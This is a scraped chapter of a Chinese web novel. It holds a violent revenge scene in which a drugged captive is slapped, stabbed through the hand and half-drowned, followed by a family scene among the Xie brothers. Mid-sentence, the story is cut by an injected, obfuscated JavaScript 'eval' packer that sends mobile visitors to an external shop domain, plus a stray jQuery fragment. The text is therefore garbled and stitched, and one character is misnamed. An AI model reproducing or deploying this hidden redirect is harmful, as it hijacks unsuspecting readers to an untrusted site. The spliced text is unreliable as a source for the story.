五日后。
热气漂浮,连山月坐在呼延真身旁,抚摸着他精壮的身躯。迎上呼延真呆滞的眼神,连山月摇了摇手中的团扇,又收回手哼笑了一声:“主子是怎么说的?”
长岩不忍直视,将头死死低着,生怕一抬眼就会瞧见什么不该看的东西:“主子让你先别动他,让他好好呆在这里就行了。”
连山月将滑下肩的衣服拉起,转头望向长岩,挑了挑眉道:“主子这般不放心我?”
长岩面无表情回她:“你该。”
“啧,臭男人,滚吧,我不动他。”
长岩的表情一言难尽,嘴唇动了动似是想和连山月争辩着些什么,憋了半晌脸都憋红了,到最后没闷出来句话,便转身憋屈地离开了原地。
脚步声逐渐远去。
连山月收回目光,低头看向呼延真。那双平日里深邃的双眼因多日离魂散的摧残而变得呆滞无比,连山月伸出白皙的脚往他肩膀上重重蹬了一脚,他也没有半分反应。
连山月顿觉无趣,收回了脚轻嗤一声道:“傻子。”
呼延真呆呆盯着连山月看了许久,忽地眨了眨眼,偏过了头去。
见他终于有了反应,连山月也来了兴趣,又凑到他身前去,用脚踹了踹他的肩膀,开口问道:“傻子,怎么不说话?”
呼延真转过头很不高兴地看了她一眼,艰难解释道:“我不是傻子。”
说话极不利索,表情却认真极了,瞧起来有几分滑稽。连山月被他逗笑了,捏起他的下巴强迫他仰起头来看向自己,笑道:“你弟弟知道你被掳走了,现在都急得火烧屁股了呢,看来你们兄弟之间的关系,很好嘛。”
“好得还有些不太正常呢。”
连山月目光灼灼看着呼延真,试图从他呆滞的双眸中看出些什么来。等了半晌,呼延真却只是皱了皱眉,不悦道:“我不喜欢他。”
“哦?”
连山月眯了眯眼,“那你喜欢我吗?”
呼延真瞧了她一眼,诚实道:“不喜欢。”
“啪——”
清脆的巴掌声响起。
不过眨眼间,呼延真侧脸上便多了一记红印。连山月懒洋洋看着他,“敢不喜欢我?”
“现在喜不喜欢?”
呼延真摸摸自己火辣辣的脸,沉默半晌终于委屈地屈服了:“喜欢。”
“啪——”
又一阵巴掌声响起。
连山月踹了呼延真一脚,嫌恶道:“你是个什么东西,也配喜欢我。”
呼延真:“……”
两边脸都挨了巴掌,呼延真嘴巴动了动,在瞧见连山月居高临下的眼神时,到底是聪明地选择了没开口。
水花四溅,连山月起身俯视着他,白皙的足上落了水珠,一滴一滴落下足背,浸湿了地面。
纱衣紧贴着小腿,连山月拿出匕首在手中把玩半晌,忽地白光一闪,匕首便出了鞘。
呼延真反射性般闭上了双眼。
再睁眼时,匕首已然靠在脖颈。连山月抚摸着他的脸颊,唇角笑容正盛:“你说……要是你弟弟寻到了你的尸首,会怎么样呢?”
呼延真迟钝地转了转眼珠子,半晌后才像是反应过来了似的,皱眉不解道:“你要杀了我?”
连山月娇笑一声,“这很不明显吗?”
呼延真缓缓伸出自己的手,慢吞吞地掐住了连山月的脖子,道:“为什么?”
连山月面色一沉,猛地将匕首挥出。只听得“咚”一声,下一秒,鲜血四溅。
呼延真闷哼了一声。
那双古铜色的手被匕首死死钉在地面,连山月起身居高临下地看着他,冷笑了一声,“你还敢问为什么?”
“我弟弟被你虐杀,姐姐被你欺辱,当初若不是我侥幸逃了出来,恐怕我连家现在早已断了根。”
呼延真惊疑不定地看着连山月,试图伸出手将匕首拔出来,下一秒,却见连山月随手将桌子一推,那桌子便顷刻间倒在地面,又将匕首推入了几分。
“呃——啊啊啊啊!!”
呼延真发出骇人的惨叫声,连山月面色一沉,猛地揪起他的头发,将他按入了水中:“闭嘴!”
“你也知道疼啊。”
“那当初将我姐姐生生淹死的时候,你又可曾想过,她也会疼?”
呼延真剧烈地挣扎着,直到他的呼吸逐渐变得微弱,连山月才揪起他的头颅,将他从水中拖了出来,笑眯眯道:
“放心,日子还长着呢,我有得是时间,和你慢、慢、玩。”
呼延烈急促地喘息着,连山月轻叹一声,拔出他手掌心的匕首,将血迹尽数擦在了他的脸颊上,故作怜悯道:“瞧瞧这副模样,当真是可怜极了。”
呼延真捂着疼痛的手心,不甚清明的脑袋终于恢复了几分神智,“你……”
话未说完,连山月便给了他重重一击,将他打晕了过去。
“真恶心。”
“来人,把他带下去治伤,别给玩死了。”
“是!”
呼延真被拖出营帐,连山月哼笑一声起身,扶正了自己发髻上的簪子。那簪子在灯光的照耀下竟闪着刺目的光,连山月瞥了营帐外一眼,将沾了血的匕首随手一扔,便转身上了榻。
*
晚间。
暮色渐至,谢云清伸出手指戳着臻儿的脸颊,瞧见她不满地伸出双手握住自己的手指,忍俊不禁。臻儿“哇哇”叫了两声,又张开嘴啃上谢云清的手心,睁大眼睛看着他。
谢云清撤回手,臻儿撇了撇嘴,又开始拽着自己手腕上的磨牙棒开始啃。谢云清摸摸她的下巴,转头看向谢鸿清,问道:“大哥,二哥还没回来吗?”
谢鸿清停下手中理衣服的动作,若有所思道:“应该等会儿就回来了,不过今天确实晚了些。”
谢云清微不可查地皱了皱眉,“二哥每天都这个点出去?”
谢鸿清点了点头,将臻儿的衣服理好放进了柜子里,“听说是去见个朋友。”
“朋友?”
谢云清还欲再问,门便被猛地推开了。谢承清逃命似的钻到桌前倒了一杯凉水,便“咕嘟咕嘟”往嘴里直灌。
臻儿听到声响,拽着谢云清的衣角坐了起来,好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252139|151559||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
奇地看了谢承清一眼。谢云清抱着臻儿起身,凑到谢承清面前看着他。
谢承清这边刚缓过神来呢,一转头就看到两双亮晶晶的眼睛盯着自己看。他倒吸了一口凉气,“不是,你们走路没声音的吗?”
谢云清和臻儿同时眨了眨眼,“二哥,你去哪儿了?”
谢承清含糊不清糊弄道:“没去哪儿,你们吃饭没?”
“还没,在等你回来呢。”
臻儿伸出手揪揪谢承清的脸颊,很不满地“啊”了一声,又朝着他伸出手要抱。谢承清顺手将她接了过来,“先吃饭吧。”
“好。”
“咯吱”一声,没被关紧的门渐渐被风吹开。谢云清转身朝着门走去,却在即将关门的瞬间瞧见了一道熟悉的身影。
谢云清动作一顿。
视线对上的瞬间,萧迟挑了挑眉,刚想张嘴说话呢,这边的谢云清就脸一垮,将门给关上了。
萧迟:“……”
他说去见谁呢,原来是去见萧迟。
谢云清关好门后,便径直朝着谢承清那边奔去。走到谢承清身前,谢云清也不说话,就这么背着手目光灼灼看着他。
谢承清眨了眨眼,疑惑地看向谢云清,“怎么了?”
谢云清撇了撇嘴,“二哥,你今天去见谁了?”
谢承清“啊”了一声,刚想糊弄过去,瞧见谢云清气鼓鼓的样子时,又突然像是意识到了什么,低下头看了他一眼,试探性问道:“你看见了?”
谢云清不说话,谢承清便猜到了答案。他“哎呀”了好几声,将臻儿塞进谢云清怀里,便转身道:“跟我来。”
谢云清跟着他走进了屋内。
房门被关闭,谢承清挠了挠头,“我也不知道该怎么说,就……”
“他喜欢我你知道吧?”
谢云清:“……”
谢云清:“……??!!”
宕机了两三秒,谢云清才回过神来,不敢置信道:“什么?!”
臻儿本来在玩着手上的磨牙棒,听到谢云清的声音,仰头看了他一眼。谢云清这才意识到自己的声音太大了,赶紧拍拍臻儿的背安抚了会儿,才放低音量道:“那、那你呢?”
谢承清给自己倒了杯水,苦恼道:“问题就出在这儿,我不喜欢男的啊。”
谢云清闻声,松了口气,继续追问道:“现在是什么情况,他对你死缠烂打?”
谢承清想了想,“倒也不是,他也没逼我接受他,相处都和以前一样,但我总感觉有些别扭。”
谢云清担忧地看着谢承清,感受到他的目光,谢承清“哎”了一声,哭笑不得道:“不用担心我,我有我自己的打算。”
谢云清“嗯”了一声,认真道:“二哥不怕,有我在呢。”
谢承清笑着看他,低头喝了一口水,才感慨道:“弟弟长大了,为兄甚是欣慰啊。”
他这话带了几分调笑的意思,谢云清脸一红,嘀咕道:“我还小呢。”
“是呢,还小呢,但也长大了,有你在哥绝不会受委屈,走吧,去吃饭了。”
“好。”